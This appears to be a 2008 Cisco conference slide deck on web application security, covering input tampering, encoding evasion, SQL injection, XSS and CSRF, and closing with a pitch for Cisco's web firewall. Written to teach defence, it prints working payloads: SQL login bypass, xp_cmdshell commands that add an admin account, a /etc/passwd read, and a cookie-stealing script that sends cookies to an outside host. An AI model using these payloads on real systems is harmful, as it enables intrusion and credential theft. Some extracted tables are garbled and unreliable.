Introduction to Web Application Security

BRKAPP-1009
Session Agenda

- Web Application Security: background
- Quick HTTP refresher
- High Impact Attacks:
  - Input validation bypass
  - Cross-Site Scripting (XSS)
  - SQL injection
  - Cross-Site Request Forgery (CSRF)
- Cisco’s Web Application Firewall
Vulnerability Trends: Interesting Statistics

Percentage of reported vulnerabilities, Q1CY07

- Web Technologies: 34%
- Other: 66%

Syngenta Internet Security Threat Report
Trends for July-December 2006
Internet Security, 2007


The Evolution of Intent
A Shift to Financial Gain
Threats Becoming Increasingly Difficult to Detect and Mitigate Applications Are the Primary Targets

FINANCIAL: Theft & Damage

NOTORIETY: Viruses and Malware

VANDALISM: Basic Intrusions and Viruses

WHAT'S NEXT?
Applications: The Weak Link to the Crown Jewels

Data Leakage

Customer Confidentiality

Applications Give Unprecedented Access to Critical Business Data

Identity Theft

Service Disruption

Network Firewalls Are HTTP-Applications Blind

Network Firewall

Web Client

HTTP Traffic
Good & Bad

Web Server

Ports 80 & 443 open

Application

Database Server

http://www.cisco.com
Focus of Today’s Attacks

2/3rd of Attacks
Focused Here

No magic signatures or patches for your custom PHP script

Expanding the Network Perimeter

- More applications services available via the web
  Customers, Employees, Business Partners
- Web-enabled appliances
  IP phones, printers, webcams, etc.

Issues:
- Web application code is malicious HTTP
- Even “secure” requests within application
- Web application code has become part of the network perimeter, but is often poorly protected
Why Web Application Security?

- Web apps provide a great portal to sensitive information
- Internet → relatively anonymous medium – easy to fire and forget
- Tool required to attack most web applications: a web browser!
- Indirect costs of security breaches are potentially enormous:
  - Brand erosion
  - Customer attrition
  - Regulatory non-compliance fines
    - eg. Payment Card Industry Data Security Standard
  - Lawsuits

PCI-DSS 6.5 and 6.6

- Two sections of Payment Card Industry Data Security Standard focus on web application security: 6.5 and 6.6
- Section 6.6 mandates you install a Web App Firewall by end of June 8 to protect your applications against OWASP Top 10 attacks

6.5 Develop all web applications based on secure coding guidelines such as the Open Web Application Security Project guidelines. Review custom application code to identify coding vulnerabilities. Cover prevention of common coding vulnerabilities in software development processes, to include the following:
  - 6.5.1 Unvalidated input
  - 6.5.2 Broken access control (for example, possibilities that users with non-administrator privileges can access data that is intended only for administrators)
  - 6.5.3 Broken authentication and session management (use of account credentials and session cookies)
  - 6.5.4 Cross-site scripting (XSS) attacks
  - 6.5.5 Buffer overflows
  - 6.5.6 Injection flaws (for example, structured query language (SQL) injection)
  - 6.5.7 Improper error handling
  - 6.5.8 Insecure storage
  - 6.5.9 Cross-site request forgery
  - 6.5.10 Insufficient session management

6.6 Ensure that all web-facing applications are protected against known attacks by applying either of the following methods:
  - Having all custom application code reviewed for common vulnerabilities by an organization that specializes in application security
  - Installing an application layer firewall in front of web-facing applications.

Note: This method is considered a best practice until June 30, 2008, after which it becomes a requirement.
PCI DSS: 6 Sections and 12 Requirements

Build and Maintain a Secure Network
1. Install and maintain a firewall configuration to protect data
2. Do not use vendor-supplied defaults for system passwords and other security parameters

Protect Cardholder Data
3. Protect stored cardholder data
4. Encrypt transmission of cardholder data and sensitive information across open public networks

Maintain a Vulnerability Management Program
5. Use and regularly update anti-virus software
6. Develop and maintain secure systems and applications

Section 6.5: develop secure web apps, cover prevention of OWASP vulnerabilities

Section 6.6: Ensure all web-facing apps are protected against known attacks using either of the following methods
- Secure coding practices
- Installing a Web App FW*
  *This becomes a requirement by June 2008
You Said OWASP?

OWASP = Open Web App Security Project

http://www.owasp.org

| A1 | Cross Site Scripting (XSS) |
| A2 | Injection Flaws            |
| A3 | Malicious File Execution   |
| A4 | Insecure Direct Object Reference |
| A5 | Cross Site Request Forgery (CSRF) |
| A6 | Information Leakage and Improper Error Handling |
| A7 | Broken Authentication and Session Management |
| A8 | Insecure Cryptographic Storage |
| A9 | Insecure Communications    |
| A10| Failure to Restrict URL Access |


Most Common Web App Vulnerabilities by Class

- Information Leakage: 73%
- Cross-Site Scripting: 21%
- SQL Injection: 10%
- OWASP Top 10: 9%
- Others: 1%

Top 5 vulnerability classes in the overall population.

Stats: Incidents by Outcome

<table>
<thead>
<tr>
<th>Attack Goal</th>
<th>%</th>
</tr>
</thead>
<tbody>
<tr>
<td>Stealing Sensitive Information</td>
<td>42%</td>
</tr>
<tr>
<td>Defacement</td>
<td>23%</td>
</tr>
<tr>
<td>Planting Malware</td>
<td>15%</td>
</tr>
<tr>
<td>Unknown</td>
<td>8%</td>
</tr>
<tr>
<td>Deceit</td>
<td>3%</td>
</tr>
<tr>
<td>Blackmail</td>
<td>3%</td>
</tr>
<tr>
<td>Link Spam</td>
<td>3%</td>
</tr>
<tr>
<td>Worm</td>
<td>1%</td>
</tr>
<tr>
<td>Phishing</td>
<td>1%</td>
</tr>
<tr>
<td>Information</td>
<td>1%</td>
</tr>
<tr>
<td>Warfare</td>
<td></td>
</tr>
</tbody>
</table>

Stats: Incidents by Organization Type

<table>
<thead>
<tr>
<th>Vertical</th>
<th>%</th>
</tr>
</thead>
<tbody>
<tr>
<td>Government Departments</td>
<td>16%</td>
</tr>
<tr>
<td>Education</td>
<td>15%</td>
</tr>
<tr>
<td>Retail</td>
<td>12%</td>
</tr>
<tr>
<td>Media</td>
<td>12%</td>
</tr>
<tr>
<td>Service Providers</td>
<td>8%</td>
</tr>
<tr>
<td>Security &amp; Law Enforcement</td>
<td>8%</td>
</tr>
<tr>
<td>Internet</td>
<td>8%</td>
</tr>
<tr>
<td>Technology</td>
<td>5%</td>
</tr>
<tr>
<td>Politics</td>
<td>5%</td>
</tr>
<tr>
<td>Finance</td>
<td>5%</td>
</tr>
<tr>
<td>Sports</td>
<td>3%</td>
</tr>
<tr>
<td>Health</td>
<td>3%</td>
</tr>
</tbody>
</table>

Source: WHD Report 2007
Why Not Just Fix the Code?

Every 1000 lines of code averages 15 critical security defects  
(US Dept of Defense)

The average business app has 150,000-250,000 lines of code  
(Software Magazine)

The average security defect takes 75 minutes to diagnose and 6 hours to fix  
(5-year Pentagon Study)

- Developers typically focus on new functionality not bugs
- It is too expensive to fix the security bugs

HTTP Crash Course
HTTP—An Application-Level Protocol

- HTTP 1.0—RFC 1945
  - Informational
  - Performance and functional limits
- HTTP 1.1—RFC 2616
  - Draft Standard
  - Persistent connections, Caching
  - More stringent requirements
- HTTP always stateless – many tricks to make it behave as session-oriented (cookies, session IDs)
- Useful links:
  - http://www.w3.org/Protocols/
  - http://www.rfc-editor.org/rfcxx00.html

HTTP—Request Elements

- Three important elements of an HTTP request:
  - Method
  - URI
  - Headers
HTTP—Request Methods

- **HTTP 1.1—Methods**
  - **OPTIONS**: Ask server for available methods
  - **GET**: Request a resource from server
  - **HEAD**: Request resource & view response headers only
  - **POST**: Send data to the server
  - **PUT**: Send a file to the server
  - **DELETE**: Delete a file from the server
  - **TRACE**: Allows client to “trace route” via proxies to web server
  - **CONNECT**: Used by proxies for tunneling requests to web server

- All methods expect an HTTP response from the server

- In practice, both GET and POST send data to web applications – this is where your Network Firewall can help with RFC2616 compliance

HTTP—GET vs POST

- **GET**
  - Form data to be encoded (by a browser) into a URL

- **POST**
  - Form data to appear within the body

- **Myth**: POST safer than GET because parameters not directly visible
HTTP—Uniform Resource Identifiers

A URI Identifies and Locates a Network Resource

"http:" "//" host [":""port] [abs_path["?"query]]

HTTP—Query Parameters

- The URL portion after the "?"
  
  http://www.google.com/search?q=cisco

- Passed to the application (and vector to several attacks when improperly parsed)

- Content returned dynamically based on query parameters.

- Overall page layout similar while data differs

- For an example of how query parameter are used see google’s API description
  
  http://www.google.com/apis/reference.html#2_2
HTTP—Cookies

Cookies are pieces of information generated by a Web server and stored in the user’s computer, ready for future access.

www.cookiecentral.com

Cookies are not programs, and they cannot run like programs do.

- Server sends cookie to client
  
  Set-Cookie: NAME=VALUE; expires=DATE; path=PATH; domain=DOMAIN_NAME; secure=YES

- Client sends cookie back to server on subsequent visits to domain

  GET / HTTP/1.1
  Host: DOMAIN_NAME
  Cookie: NAME=VALUE;

Web Attacks!
**Attack #1: Unvalidated Input**

aka the Mother of All Web Attacks

**Typical Web Application Architecture**

- **Web Server Receives Input**
- **App Server Parses Input**
- **DB Receives Query Created and Sent by App Server**

**Presentation Tier**
The top-most level of the application is the user interface. The main function of the interface is to translate tasks and results to something the user can understand.

**Logic Tier**
This layer coordinates the application, processes commands, makes logical decisions and evaluations, and performs calculations. It also moves and processes data between the two surrounding layers.

**Data Tier**
Here information is stored and retrieved from a database or file system. The information is then passed back to the logic tier for processing, and then eventually back to the user.
Attack #1—Unvalidated Input

What Is It?
- Web Apps use parameters to obtain information from the client

How Is this Vulnerable?
- Developers focus on the legal values of parameters and how they should be utilized
- Too much credit given to client-side browser validation
- Little if any attention is given to the effect of incorrect values

Result
- The application acts according to the changed information, potentially giving access to other user’s accounts, confidential info, or anything else on the computer – vector for 90% of web-based attacks!

“But I am safe – my application developer coded a javascript-based client-side input validation”

“It checks for valid phone number, zip code, credit card formats, etc.”

“How could anyone possibly tamper with that?”

Do NOT rely on any client-side technology as a security mechanism. There are plugins and local proxies that let you modify any data submitted by the browser to the server before it hits the wire.
Attack #1: Parameter Tampering—Shopping Cart Exploit

- Although this is an old exploit, applications are still vulnerable to similar types of attacks.
- New technologies such as SOAP contain old exploits.

Shopping-cart glitch could give hackers a discount

February 7, 2008

By Ann Harrison

(IDO) — An Internet security firm has issued an alert for what it said are tampering vulnerabilities in several Web-based shopping-cart applications.

Internet Security Systems Inc. (ISS) in Atlanta Tuesday released a statement that said the company had identified 11 shopping-cart applications that used flawed value forms that insiders could exploit to change prices or discounts at e-commerce sites.

Attack #1: Parameter Tampering for Fun and Profit
Attack #1: Parameter Tampering for Fun and Profit

![Image of parameter tampering example]

$1.95

Your Shopping Cart Contains

IBM PC Camera 2 Pk (White Box Camera) - $1.95

Subtotal: $1.95
Attack #1—A Very Recent Example

How will your application react to totally unexpected input?
**Encoding and Character Sets (1/3)**

- There are character sets and character encodings
- The ASCII range (128 chars) isn’t sufficient to cover all languages/signs in the world
- HTML uses Universal Character Set/Unicode which contains 1000s of characters
- Character set itself not sufficient for browser to interpret HTML documents
- A simple one-byte-per-character encoding technique is not sufficient for text strings over a character range large as Unicode
- Browsers must know the character encoding used to transform the document character stream into a byte stream
- Common encodings are ISO-8859-1 and UTF-8

**Attack #1: Using Encoding to Bypass Filters (aka “Thank You RFC2152 and 2279”)**

```
http://0306.0205.0333.0031/%6E%65%77%6F%72%65%72%73
```

Url canonicalization stops attacks disguised by encoding URLs
To Encode or Not?

```html
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=UTF-7">
<TITLE>HTML SAMPLE</TITLE>
</HEAD>
<BODY>
<FONT SIZE=6>
Hello +Jjo-
</FONT>
</BODY>
</HTML>
```

(For the curious, see RFC2152 – I dare you)

Encoding and Character Sets (3/3)

- Character encoding ("charset" in HTTP) is usually left undefined on many web servers. If charset isn’t specified, any char encoding can be used.
- If charset unspecified, server can’t tell which characters are special
- Most charsets assign the same characters to byte values below 128. What happens beyond 128?
  
  E.g: &amp;#169 2007 Cisco Systems, Inc. → this is the © sign

- Some 16-bit encoding schemes have multi-byte representations for chars such as "<". Makes attacks using malicious scripts much harder to prevent.
  
  E.g.: UTF-7 provides alternative encoding for "<" and ">", and several popular browsers recognize these as the start and end of a tag.

- Web servers should set the character set, then make sure that the data they insert is free from byte sequences that are special in the specified encoding.
Why URL Encoding Then?

- RFC1738: "...Only alphanumerics [0-9a-zA-Z], the special characters $-_+!"()*, and reserved characters used for their reserved purposes (e.g. &) may be used unencoded within a URL."
- HTML, on the other hand, allows the entire range of Unicode
- Many characters are either reserved or unsafe to appear directly in an URL → they must be encoded
- URL encoding of a character consists of a "%" symbol, followed by the two-digit hexadecimal representation (case-insensitive) of the ISO-Latin code point for the character.

Encoding Fun!

<table>
<thead>
<tr>
<th></th>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>&amp;</td>
<td>#0058;</td>
<td>#x3c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
<tr>
<td>2</td>
<td>%3C</td>
<td>#00060;</td>
<td>#x03c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
<tr>
<td>3</td>
<td>&amp;lt;</td>
<td>#00060;</td>
<td>#x03c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
<tr>
<td>4</td>
<td>&amp;gt;</td>
<td>#x03c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
<tr>
<td>5</td>
<td>&amp;lt;</td>
<td>#x03c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
<tr>
<td>6</td>
<td>&amp;gt;</td>
<td>#x03c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
<tr>
<td>7</td>
<td>&amp;nbsp;</td>
<td>#00060;</td>
<td>#x03c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
<tr>
<td>8</td>
<td>&amp;quot;</td>
<td>#x003c;</td>
<td>#x00003c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
<tr>
<td>9</td>
<td>&amp;quot;</td>
<td>#x003c;</td>
<td>#x00003c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
<tr>
<td>10</td>
<td>&amp;apos;</td>
<td>#x03c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
<tr>
<td>11</td>
<td>&amp;apos;</td>
<td>#x03c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
<tr>
<td>12</td>
<td>&amp;apos;</td>
<td>#x03c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
<tr>
<td>13</td>
<td>&amp;quot;</td>
<td>#x03c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
<tr>
<td>14</td>
<td>&amp;quot;</td>
<td>#x03c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
<td>#x003c;</td>
</tr>
</tbody>
</table>

→ 70 different ways to encode the open angle bracket

<a href="javascript:rip"&amp;#99;ript&amp;#35;[code]">
Unvalidated Input Attacks: Summary

How Serious?
- The mother of two of the top attacks (XSS and SQL Injection)
- Series of browser-side tools, ranging from plugins to full-blown proxies
  Paros, Suru, Burp Suite, WebScarab, Fiddler

Damage Potential?
**Very High**

Countermeasures
- Always perform server-side input validation
- Be aware of evasion techniques using various encodings – see the encoding cheat sheet at [http://ha.ckers.org/xss.html](http://ha.ckers.org/xss.html)
- Cisco’s Web Application Firewall can apply regexes and length checks to URL query parameters or POST data, it always canonicalizes URLs by default

Attack #2: SQL Injection
Attack #2—SQL Injection

- SQL stands for **Structured Query Language**
- Allows applications to access a database
- SQL can:
  - execute queries against a database
  - retrieve data from a database
  - insert new records in a database
  - delete records from a database
  - update records in a database
- Many applications take user input and blindingly send it directly to SQL API
Application Error Message Reveals DB Structure

Anatomy of a SQL Injection Attack:
Basic SQL Query for Login

Typical SQL query

```
SELECT * FROM users
WHERE login = 'victor'
AND password = '123'
```

Typical ASP/MS SQL Server login syntax

```
var sql = "SELECT * FROM users
WHERE login = " + form_user + 
" AND password = " + form_pwd + ";
```
Anatomy of a SQL Injection Attack:
SQL Injection—Bypass Login

Attacker Injects the following:

\[
\begin{align*}
\text{form}_\text{user} &= ' or 1=1 -- \\
\text{form}_\text{pwd} &= \text{anything}
\end{align*}
\]

Final query would look like this:

\[
\begin{align*}
\text{SELECT} & \quad \text{* FROM users} \\
\text{WHERE} & \quad \text{username} = ' or 1=1 -- \\
& \quad \text{AND password} = 'anything'
\end{align*}
\]

- Attacker gains access to the application!
- Several patterns such as ‘) “> ‘\’ etc.

Variation: OS Command Injection

- Two ways to interact with the OS:
  - Reading and writing system files from disk
  - Find passwords and configuration files
  - Change passwords and configuration
  - Execute commands by overwriting initialization or configuration files
  - Direct command execution
  - We can do anything

- Both are restricted by the database's running privileges and permissions
OS Command Injection

- Linux based MySQL
  
  `union select 1, (load_file('/etc/passwd')),1,1,1;`

- MS SQL Windows Password Creation
  
  `; exec xp_cmdshell 'net user /add victor Pass123'--
  `; exec xp_cmdshell 'net localgroup /add administrators victor' --`

- Starting Services
  
  `; exec master..xp_servicecontrol 'start','FTP Publishing' --`

SQL/Command Injection: Summary

How Serious?

- Result of poor/inexistant input validation
- Extremely easy to carry out: just a browser is sufficient
- Major vector of identity theft, DB denial of service (shutdown the DB)

Damage Potential?

Very High

Countermeasures

- Sanitize user input
- Don’t display raw database error codes to the client
- Cisco’s Web Application Firewall can prevent patterns from being fed as form input (characters such as single quote, double quote, etc)
Attack #3—Cross Site Scripting

What Is It?
- User feeds data to the web application
- Web application doesn’t sanitize input and echoes back the query
- The unvalidated data contains a piece of JavaScript that is executed in the context of the user’s browser session.
- A carefully formed link sent to a victim (usually by mail) results in the JavaScript code being run in the victim’s browser, sending information to the hacker.

Why Does Cross Site Scripting Happen?
- Unvalidated input – example: html is permitted into query parameter
- Application blindly echoes request back to browser

Result
- “Virtual hijacking” of the session by stealing cookies
- Any information flowing between the legitimate user and site can be manipulated or transmitted to a 3rd party.
XSS: Just Pop up Alert Boxes?

- OK great, yet another example of a XSS attack popping up a “Hello” box in a browser – big deal …how serious is this? Should I really be concerned?
“So… what’s the worst thing you can do with XSS? Steal every piece of sensitive information you’ve ever inputted or will ever input on any website you’re authenticated to. Yes, it’s potentially that bad.”

Cross Site Scripting Applications

- The second a hacker realizes a query parameter accepts HTTP, he can trick your browser into doing virtually anything:
  - build hidden forms that submit your cookies
  - check your browsing history
  - scan your subnet for certain hosts
  - etc.

- Commonly used in Phishing emails

- Experts estimate 80% of web sites are vulnerable
  (http://www.whitehatsec.com/downloads/WHXSSThreats.pdf)
XSS in Action: Stealing Authentication Credentials

Step 1

http://bock-bock/cgi-bin/power/?q=<script src=http://www.employees.org/~pag/XSS/cookie_theft.js></script>

Step 2
cookie_theft.js Javascript on Hacker’s Server

/* AUTHOR: Jeremiah Grossman, Founder and CTO of WhiteHat Security, Inc. */

var off_domain_url = "http://www.employees.org:8099/~pag/bin/";

/* launch steal cookie */
stealCookie(off_domain_url);

/*--- [method: stealCookie] ----------------------------------------------#
# Description: Send a user's cookie to an off-domain URL.
# ---------------------------------------------------------------*/
function stealCookie(url)
{
    var newImg = document.createElement("img");
    newImg.setAttribute("border", '0');
    newImg.setAttribute("width", '0');
    newImg.setAttribute("height", '0');
    newImg.setAttribute("src", url + 'cookie.cgi?' + document.cookie);
    document.location = '/';
}

// end stealCookie method
HTTP Trace on the Client—Notice the Off-Domain Calls!

XSS: What the Hacker Sees
XSS Example: Italian Bank, Jan 2008


XSS—Summary

- When an application accepts HTML input where it shouldn’t (99% of the times, it probably should not)
- There are hundreds of ways to have a browser execute remote script
- Example: `<IMG SRC="javascript:alert('XSS')"
- Visit http://ha.ckers.org/xss.html for very creative ideas
- XSS assistant script for GreaseMonkey makes it easier
- Countermeasures: filter input and/or output → simple example: replace(/</g, "&lt;").replace(/>/g, "&gt;");
- AVS built-in filters can assist
Fixing the Code?

Figure 12: Site-specific cross-site scripting vulnerabilities time to patch, in days

Source: Based on data provided by the XSSed Project
Attack #4—CSRF

- “Whereas cross-site scripting exploits the trust a user has in a website, a cross-site request forgery exploits the trust a Web site has in a user by forging a request from a trusted user.” (source: Wikipedia)

- How does it work:
  - Bob is logged into his bank’s website
  - Bob is also chatting/reading a blog at the same time
  - Hacker posts a comment in the blog inviting Bob to click a link
  - The link performs an action on Bob’s bank
  - As Bob is logged in, the action has the potential to succeed

- Simple example: http://www.google.com/setprefs?hl=ga

- Note that Bob doesn’t even have to click a link – a simple <img src="http://example.org/buy.php?item=PS3&qty=500"> on a web page could suffice!
“CSRF, the sleeping giant, may in fact represent an industry challenge far exceeding that of Cross-Site Scripting (XSS) …”

Jeremiah Grossman, Founder and CTO of Whitehat Security

CSRF: How to Mitigate?

- Not trivial, no simple one-stop-solution
- Several server-side solutions:
  - Generate random tokens for forms or actions so a hacker can’t guess
  - make sure the site isn’t XSS-vulnerable
  - Use CAPTCHAs
- The browser/client populates the referrer header to indicate the address (URI) of the resource from which the Request-URI was obtained
- From a network/Web Application Firewall perspective, implement referrer header checks – will deter some “hackers” but not foolproof as the header is spoofable! (http://www.securityfocus.com/archive/1/441014)
Introducing Cisco’s ACE Web App Firewall

- Hardware platform is the ACE XML Gateway (AXG)
- Web Application Firewall → simple software upgrade

<table>
<thead>
<tr>
<th>Web Application Firewall</th>
<th>Protects your custom HTTP/HTML applications from high-impact web-borne attacks</th>
</tr>
</thead>
<tbody>
<tr>
<td>SOA/Web Services/XML Threat Defense</td>
<td>Secures and offloads web services transactions</td>
</tr>
</tbody>
</table>

Extensive HTML and XML application security
High-Level Overview of the Architecture

In a Nutshell

- Full reverse proxy (DNS points clients to WAF’s IP)
- Drop all suspicious traffic, permit the rest
- Human-assisted learning
  - Teach the WAF how to deal with false positives
- Heavy accent on ease of use, audit log and forensics
- Built-in PCI profile for out-of-the-box instant protection
- Very powerful and flexible HTTP parser
  - Full access to rule expression language and variables for power users
  - Search and replace functionality (ingress and egress)
- High performance: 3000 HTTP TPS, 12K concurrent conns

! Session BRK-APP2014 focuses on product itself!
Conclusion

- Don’t trust input from clients – JavaScript validation is not reliable as a security mechanism
- Don’t reinvent the wheel – use proven encryption protocols, input/output validation in the source, secure coding practices
- Cisco’s ACE WAF: security for both XML and HTML applications
- WAF: great for Virtual Patching and data leakage prevention
- WAF + code patches/review provide a comprehensive solution

Defense-in-Depth should include a web application firewall that can quickly, effectively and cost-effectively block attacks at Layer 7
Recommended Reading

- Continue your Cisco Live learning experience with further reading from Cisco Press
- Check the Recommended Reading flyer for suggested books

Available Onsite at the Cisco Company Store
Complete Your Online Session Evaluation

- Give us your feedback and you could win fabulous prizes. Winners announced daily.
- Receive 20 Passport points for each session evaluation you complete.
- Complete your session evaluation online now (open a browser through our wireless network to access our portal) or visit one of the Internet stations throughout the Convention Center.

Don’t forget to activate your Cisco Live virtual account for access to all session material on-demand and return for our live virtual event in October 2008.

Go to the Collaboration Zone in World of Solutions or visit www.cisco-live.com.
References—Links, etc.

- Jeremiah Grossman’s blog – http://jeremiahgrossman.blogspot.com
- Ha.ckers.org – http://ha.ckers.org
- Netcraft (appsec articles) – http://www.netcraft.com
XSS/SQL Injection References

- OWASP Top 10: [http://www.owasp.org/index.php/Cross_Site_Scripting](http://www.owasp.org/index.php/Cross_Site_Scripting)
- XSS Cheat Sheet: [http://ha.ckers.org/xss.html](http://ha.ckers.org/xss.html)
- CERT “Understanding Malicious Content Mitigation” [http://www.cert.org/tech_tips/malicious_code_mitigation.html](http://www.cert.org/tech_tips/malicious_code_mitigation.html)
- Understanding the cause and effect of CSS Vulnerabilities: [http://www.technicalinfo.net/papers/CSS.html](http://www.technicalinfo.net/papers/CSS.html)

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>A2. Injection Flaws</td>
<td>A8. Injection Flaws</td>
<td>2</td>
</tr>
<tr>
<td>A5. Cross Site Request Forgery (CSRF) (NEW)</td>
<td></td>
<td>36</td>
</tr>
<tr>
<td>A6. Information Leakage and Improper Error Handling</td>
<td>A7. Improper Error Handling</td>
<td>6</td>
</tr>
<tr>
<td>A8. Insecure Cryptographic Storage</td>
<td>A8. Insecure Storage</td>
<td>8</td>
</tr>
<tr>
<td>A9. Insecure Communications (NEW)</td>
<td>Discussed under A10: Insecure Configuration Management</td>
<td>8</td>
</tr>
<tr>
<td>A11. Unvalidated Input</td>
<td></td>
<td>7</td>
</tr>
<tr>
<td>A5. Buffer Overflows</td>
<td></td>
<td>4, 8, and 10</td>
</tr>
<tr>
<td>A9. Denial of Service</td>
<td></td>
<td>17</td>
</tr>
<tr>
<td>A10. Insecure Configuration Management</td>
<td></td>
<td>29</td>
</tr>
</tbody>
</table>
Tools/Plugins I Use

- Firefox browser addons:
  - Web Developer 1.1.3
  - Tamper Data 9.8.1
  - SwitchProxy Tool 1.4.1
  - Greasemonkey
  - No-Referrer 1.0.1
  - NoScript

- Proxies
  - Webscarab
  - BurpSuite

- Miscellaneous
  - XSS Cheat sheet on ha.ckers.org
  - Napkin (http://www.0x90.org/releases/napkin/index.php)
  - Metasploit